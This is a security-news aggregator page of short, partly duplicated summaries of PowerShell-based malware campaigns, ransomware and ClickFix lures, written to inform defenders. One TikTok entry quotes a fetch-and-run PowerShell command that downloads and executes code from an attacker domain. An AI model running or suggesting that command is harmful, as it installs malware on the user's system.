Tag: powershell
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Skript dreht durch: Update-Panne wirft HP-Nutzer aus Microsoft-Umgebungen
Ein per Update für HP Oneagent verteiltes Powershell-Skript hat gravierende Folgen. Es löscht wild und ohne Rückfrage teils wichtige Zertifikate. First seen on golem.de Jump to article: www.golem.de/news/skript-dreht-durch-update-panne-wirft-hp-nutzer-aus-microsoft-umgebungen-2510-201495.html
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Fileless Remcos Attacks: Injecting Malicious Code into RMClient to Evade EDR
CyberProof researchers detected a significant surge in Remcos (Remote Control & Surveillance Software) campaigns throughout September and October 2025, exploiting sophisticated fileless techniques to evade endpoint detection and response (EDR) solutions. By leveraging highly obfuscated PowerShell scripts and process hollowing into Microsoft’s RMClient.exe, attackers are gaining stealthy persistence and targeting browser credentials. Although Remcos is…
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‘I am not a robot’: Russian hackers use fake CAPTCHA lures to deploy espionage tools
Tags: access, attack, authentication, awareness, captcha, ceo, communications, control, credentials, cyber, cybersecurity, data, defense, detection, edr, email, endpoint, espionage, exploit, group, hacker, incident response, least-privilege, login, malicious, malware, mfa, monitoring, network, phishing, powershell, russia, strategy, tactics, theft, threat, tool, training, update, vulnerability, vulnerability-management, zero-trustEvolving tactics and strategies: Analysts said ColdRiver, which for years focused on credential theft and email account compromise, is shifting toward multi-stage intrusions that rely on users to execute malicious code.By using ClickFix pages that mimic CAPTCHA verification screens, the group can bypass email security filters and deliver malware directly to victims’ devices, increasing the…
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Russia’s Coldriver Revamps Malware to Evade Detection
Russian Intel Hackers Flexible in Face of Detection. Russia-linked threat group COLDRIVER rapidly replaced its exposed malware with a stealthier PowerShell variant, using fake CAPTCHA prompts and cryptographic key-splitting to evade detection and escalate surveillance on NGOs, dissidents and policy experts, according to new research. First seen on govinfosecurity.com Jump to article: www.govinfosecurity.com/russias-coldriver-revamps-malware-to-evade-detection-a-29776
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TikTok Videos Weaponized to Deliver Self-Compiling PowerShell Malware
Attackers are exploiting TikTok’s massive reach to trick users into executing malware through seemingly innocuous videos. In one popular TikTok video (liked over 500 times), the attacker poses as a provider of a free Photoshop activation tool and urges viewers to open PowerShell as an administrator and run: powershelliex (irm slmgr.win/photoshop) This command uses Invoke-Expression…
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Open-source DFIR Velociraptor was abused in expanding ransomware efforts
Attribution and the ransomware cocktail: Talos links the campaign to Storm-2603, a suspected China-based threat actor, citing matching TTPs like the use of ‘cmd.exe’, disabling Defender protections, creating scheduled tasks, and manipulating Group Policy Objects. The use of multiple ransomware strains in a single operation Warlock, LockBit, and Babuk also bolstered confidence in this attribution.”Talos…
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Open-source DFIR Velociraptor was abused in expanding ransomware efforts
Attribution and the ransomware cocktail: Talos links the campaign to Storm-2603, a suspected China-based threat actor, citing matching TTPs like the use of ‘cmd.exe’, disabling Defender protections, creating scheduled tasks, and manipulating Group Policy Objects. The use of multiple ransomware strains in a single operation Warlock, LockBit, and Babuk also bolstered confidence in this attribution.”Talos…
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Snake Keylogger Uses Weaponized Emails and PowerShell to Steal Sensitive Data
A newly observed information”stealing campaign is deploying a stealthy variant of the SnakeKeylogger malware via weaponized e-mails that masquerade as legitimate remittance advice from CPA Global and Clarivate. Researchers first identified the infection vector on October 7, 2025, when recipients received messages titled “remittance advice for the payment dated 07″Oct”2025,” urging them to download an…
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Open-source monitor turns into an off-the-shelf attack beacon
Tags: api, apt, attack, china, control, hacker, malware, monitoring, open-source, powershell, ransomware, rat, RedTeam, russia, software, threat, tool, windowsRiding Nezha to Ghost RAT: With the web shell in place, the attackers used AntSword to download two components: “live.exe” (the Nezha agent) and a “config.yml” that pointed to the attacker-controlled domain. The Nezha agent connected back to a management server whose dashboard was running in Russian, presumably to throw off attribution.Once Nezha was active,…
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Patchwork APT: Leveraging PowerShell to Create Scheduled Tasks and Deploy Final Payload
Patchwork, the advanced persistent threat (APT) actor also known as Dropping Elephant, Monsoon, and Hangover Group, has been observed deploying a new PowerShell-based loader that abuses Windows Scheduled Tasks to execute its final payload. Active since at least 2015 and focused on political and military intelligence across South and Southeast Asia, Patchwork is renowned for…
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XWorm campaign shows a shift toward fileless malware and in-memory evasion tactics
Tags: api, control, detection, edr, encryption, injection, malware, monitoring, office, open-source, powershell, software, tacticsDodging sandboxes and scanners: The attackers relied on well-known evasion techniques throughout the chain, including API hashing to hide intent, API calls that bypass user-mode hooks installed by security software, and multiple encryption layers inside .NET DLLs.”The DLL file uses several encryption techniques for analysis to be difficult, such as RSACryptor, Virtualization, Fake.cctor, and many…
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XWorm campaign shows a shift toward fileless malware and in-memory evasion tactics
Tags: api, control, detection, edr, encryption, injection, malware, monitoring, office, open-source, powershell, software, tacticsDodging sandboxes and scanners: The attackers relied on well-known evasion techniques throughout the chain, including API hashing to hide intent, API calls that bypass user-mode hooks installed by security software, and multiple encryption layers inside .NET DLLs.”The DLL file uses several encryption techniques for analysis to be difficult, such as RSACryptor, Virtualization, Fake.cctor, and many…
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XWorm campaign shows a shift toward fileless malware and in-memory evasion tactics
Tags: api, control, detection, edr, encryption, injection, malware, monitoring, office, open-source, powershell, software, tacticsDodging sandboxes and scanners: The attackers relied on well-known evasion techniques throughout the chain, including API hashing to hide intent, API calls that bypass user-mode hooks installed by security software, and multiple encryption layers inside .NET DLLs.”The DLL file uses several encryption techniques for analysis to be difficult, such as RSACryptor, Virtualization, Fake.cctor, and many…
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Threat Actors Exploit Oracle Database Scheduler to Infiltrate Corporate Networks
Threat actors have begun exploiting the Oracle Database Scheduler’s External Jobs feature to execute arbitrary commands on corporate database servers, enabling stealthy initial footholds and rapid escalation of privileges. By abusing the extjobo.exe executable, attackers can run encoded PowerShell commands, establish encrypted tunnels with Ngrok, and deploy ransomware, all while evading detection through aggressive cleanup…
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Weaponized ScreenConnect App Spreads AsyncRAT and PowerShell RAT
Remote Monitoring and Management tools such as ConnectWise ScreenConnect have earned a reputation for simplifying IT administration, but they have also drawn the attention of sophisticated attackers. By abusing ScreenConnect’s trusted installation footprint and deep system privileges, adversaries are now trojanizing installers to deploy dual Remote Access Trojans (RATs)”, AsyncRAT and a custom PowerShell RAT”,…
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New Loader “CountLoader” Uses PDFs to Launch Ransomware Attacks
Security researchers have uncovered a sophisticated new malware loader called >>CountLoader
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Stealth in Plain Sight: Cryptojackers Hijack PowerShell and Windows Processes to Evade Detection
Darktrace researchers uncovered a sophisticated cryptojacking attempt using PowerShell scripts to inject NBMiner into Windows processes. Experts warn that modern cryptomining malware is more than a nuisance”, posing risks to productivity, data security, and energy costs while exploiting “living off the land” tactics to evade detection. First seen on securityboulevard.com Jump to article: securityboulevard.com/2025/09/stealth-in-plain-sight-cryptojackers-hijack-powershell-and-windows-processes-to-evade-detection/
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FileFix Campaign Using Steganography and Multistage Payloads
FileFix campaign hides PowerShell script and encrypted EXEs in JPGs via multilingual phishing First seen on infosecurity-magazine.com Jump to article: www.infosecurity-magazine.com/news/filefix-steganography-multistage/
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PKI – Die versteckten Kosten von nachlässigem Schlüsselmanagement
In vielen Unternehmen wird PKI-Management immer noch mit Bordmitteln betrieben. Statt professioneller Tools kommen Excel-Tabellen, Google Calendar, Snipe-IT, eigene PowerShell-Skripte, IT Glue oder sogar Helpdesk-Tickets zum Einsatz. First seen on infopoint-security.de Jump to article: www.infopoint-security.de/pki-die-versteckten-kosten-von-nachlaessigem-schluesselmanagement/a42051/
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New ransomware Yurei adopts open-source tools for double-extortion campaigns
Tags: access, attack, authentication, backup, breach, ciso, cloud, control, data, edr, extortion, flaw, intelligence, Internet, mfa, network, open-source, phishing, powershell, ransomware, resilience, risk, service, switch, threat, tool, windowsBigger risks beyond downtime: The double-extortion ransomware appears to be an early version, as it has loopholes. Ransomware often targets and deletes shadow copies to block victims from using Windows’ built-in recovery options. But Yurei did not delete the shadow copies, which, if enabled, can allow the victim to restore their files to a previous…
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Yurei Ransomware Uses PowerShell to Deploy ChaCha20 File Encryption
A newly discovered ransomware group called Yurei has emerged with sophisticated encryption capabilities, targeting organizations through double-extortion tactics while leveraging open-source code to rapidly scale operations. First observed on September 5, 2025, this Go-based ransomware employs the ChaCha20 encryption algorithm and PowerShell commands to compromise victim systems, marking another evolution in the ransomware-as-a-service ecosystem. Flow…
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9 unverzichtbare Open-Source-Security-Tools
Tags: attack, authentication, backdoor, blueteam, breach, ciso, cyersecurity, data-breach, encryption, incident response, intelligence, linux, mail, malware, monitoring, open-source, powershell, privacy, risk, software, sql, threat, tool, vulnerability, windowsDiese Open-Source-Tools adressieren spezifische Security-Probleme mit minimalem Footprint.Cybersicherheitsexperten verlassen sich in diversen Bereichen auf Open-Source-Lösungen nicht zuletzt weil diese im Regelfall von einer lebendigen und nutzwertigen Community gestützt werden. Aber auch weil es inzwischen Hunderte qualitativ hochwertiger, quelloffener Optionen gibt, um Breaches und Datenlecks auf allen Ebenen des Unternehmens-Stacks zu verhindern.Falls Sie nun gedanklich bereits…
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Stealthy AsyncRAT flees the disk for a fileless infection
Tags: access, best-practice, control, credentials, infection, malicious, malware, monitoring, phishing, powershell, rat, theft, threat, update, windowsRAT with evasion and persistence: Once AsyncRAT was loaded, the attackers took steps to disrupt Windows defenses. The report notes techniques such as disabling Anti-malware Scan Interface (AMSI) and tampering with Event Tracking for Windows (ETW), both critical features for runtime detection. To maintain persistence, they created a scheduled task disguised as “Skype Update,” ensuring…
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Smart GPUGate malware exploits GitHub and Google Ads for evasive targeting
GPU-Gated decryption evades detection: The malware itself is delivered as a large Microsoft Software Installer (MSI) file, approximately 128 MB in size. It features a GPU-gated decryption mechanism that keeps the payload encrypted unless it detects the presence of a real GPU on the system. Researchers noted that this design allows GPUGate to remain dormant…
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Smart GPUGate malware exploits GitHub and Google Ads for evasive targeting
GPU-Gated decryption evades detection: The malware itself is delivered as a large Microsoft Software Installer (MSI) file, approximately 128 MB in size. It features a GPU-gated decryption mechanism that keeps the payload encrypted unless it detects the presence of a real GPU on the system. Researchers noted that this design allows GPUGate to remain dormant…